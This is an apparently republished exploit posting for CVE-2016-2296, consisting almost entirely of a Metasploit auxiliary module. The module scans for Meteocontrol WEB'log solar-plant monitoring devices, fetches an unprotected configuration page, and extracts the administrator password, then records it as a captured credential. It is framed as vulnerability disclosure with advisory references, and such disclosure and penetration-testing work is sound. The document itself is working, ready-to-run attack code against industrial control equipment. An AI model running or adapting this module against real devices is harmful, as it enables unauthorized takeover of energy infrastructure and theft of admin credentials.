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Meteocontrol WEBLog Password Extractor

Posted on 17 May 2016

# Exploit Title: [Meteocontrol WEB'log - Extract Admin password]
# Discovered by: Karn Ganeshen
# Vendor Homepage: [http://www.meteocontrol.com/en/]
# Versions Reported: [All Meteocontrol WEB'log versions]
# CVE-ID: [CVE-2016-2296]

# Meteocontrol WEB'log - Metasploit Auxiliary Module [modules/auxiliary/admin/scada/meteocontrol_weblog_login.rb]

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner

def initialize(info={})
super(update_info(info,
'Name' => 'Meteocontrol WEBLog Password Extractor',
'Description' => %{
This module exploits an authentication bypass vulnerability in Meteocontrol WEBLog (all models). This vulnerability allows extracting Administrator password for the device management portal.

},
'References' =>
[
[ 'URL', 'http://ipositivesecurity.blogspot.in/2016/05/ics-meteocontrol-weblog-security.html' ],
[ 'URL', 'https://ics-cert.us-cert.gov/advisories/ICSA-16-133-01' ]
],
'Author' =>
[
'Karn Ganeshen <KarnGaneshen[at]gmail.com>',
],
'License' => MSF_LICENSE
))

register_options(
[
Opt::RPORT(8080) # Application may run on a different port too. Change port accordingly.
], self.class)
end

def run_host(ip)
unless is_app_metweblog?
return
end

do_extract
end

#
# Check if App is Meteocontrol WEBlog
#

def is_app_metweblog?
begin
res = send_request_cgi(
{
'uri' => '/html/en/index.html',
'method' => 'GET'
})
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError
print_error("#{rhost}:#{rport} - HTTP Connection Failed...")
return false
end

if (res and res.code == 200 and (res.headers['Server'].include?("IS2 Web Server") or res.body.include?("WEB'log")))
print_good("#{rhost}:#{rport} - Running Meteocontrol WEBlog management portal...")
return true
else
print_error("#{rhost}:#{rport} - Application does not appear to be Meteocontrol WEBlog. Module will not continue.")
return false
end
end

#
# Extract Administrator Password
#

def do_extract()
print_status("#{rhost}:#{rport} - Attempting to extract Administrator password")
begin
res = send_request_cgi(
{
'uri' => '/html/en/confAccessProt.html',
'method' => 'GET'
})

rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE
print_error("#{rhost}:#{rport} - HTTP Connection Failed...")
return :abort
end

if (res and res.code == 200 and res.body.include?("szWebAdminPassword") or res.body=~ /Admin Monitoring/)
get_admin_password = res.body.match(/name="szWebAdminPassword" value="(.*?)"/)
admin_password = get_admin_password[1]
print_good("#{rhost}:#{rport} - Password is #{admin_password}")
report_cred(
ip: rhost,
port: rport,
service_name: 'Meteocontrol WEBlog Management Portal',
password: admin_password,
proof: res.body
)
else
# In some models, 'Website password' page is renamed or not present. Therefore, password can not be extracted. Try login manually in such cases.
print_error("Password not found. Check login manually.")
end
end

def report_cred(opts)
service_data = {
address: opts[:ip],
port: opts[:port],
service_name: opts[:service_name],
protocol: 'tcp',
workspace_id: myworkspace_id
}

credential_data = {
origin_type: :service,
module_fullname: fullname,
username: opts[:user],
private_data: opts[:password],
private_type: :password
}.merge(service_data)

login_data = {
last_attempted_at: Time.now,
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::SUCCESSFUL,
proof: opts[:proof]
}.merge(service_data)

create_credential_login(login_data)
end
end

 

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